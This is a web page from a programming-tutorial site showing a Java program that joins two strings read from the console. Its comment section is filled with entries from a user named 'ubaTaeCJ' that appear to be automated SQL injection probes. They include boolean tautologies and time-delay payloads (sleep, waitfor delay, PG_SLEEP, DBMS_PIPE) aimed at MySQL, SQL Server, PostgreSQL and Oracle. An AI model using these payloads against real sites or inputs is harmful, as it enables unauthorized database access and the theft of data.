Java Program to Concatenate two Strings

Get two strings and join them as a single string.

Sample Input 1:

MARK MAKE

Sample Output 1:

MARKMAKE

Program or Solution

				
			
					
//Concate Two Given Strings...

import java.util.*;

class Program
{
  public static void main(String args[])
 {
      String str1,str2,str3;
     Scanner sc=new Scanner(System.in);

    System.out.println("Enter The String 1:");
    str1=sc.next();

   System.out.println("Enter The String 2:");
   str2=sc.next();

   str3=str1.concat(str2);

   System.out.println("The Output Is:"+str3);

 }
}


			
				
			

Program Explanation

Comments

ubaTaeCJ
-1' OR 2+811-811-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+811-811-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+811-811) --
ubaTaeCJ
-1' OR 3*2>(0+5+811-811) --
ubaTaeCJ
-1' OR 2+965-965-1=0+0+0+1 or 'cyyB1FvH'='
ubaTaeCJ
-1' OR 3+965-965-1=0+0+0+1 or 'cyyB1FvH'='
ubaTaeCJ
-1' OR 3*2<(0+5+965-965) or 'cyyB1FvH'='
ubaTaeCJ
-1' OR 3*2>(0+5+965-965) or 'cyyB1FvH'='
ubaTaeCJ
-1" OR 2+989-989-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+989-989-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+989-989) --
ubaTaeCJ
-1" OR 3*2>(0+5+989-989) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:62.004' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
BNCViD45'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 106=(SELECT 106 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 820=(SELECT 820 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 259=(SELECT 259 FROM PG_SLEEP(15))--
ubaTaeCJ
m6sYlx6b' OR 147=(SELECT 147 FROM PG_SLEEP(15))--
ubaTaeCJ
R3ZIUzJ2') OR 567=(SELECT 567 FROM PG_SLEEP(15))--
ubaTaeCJ
VM07iuxY')) OR 603=(SELECT 603 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@j8Ous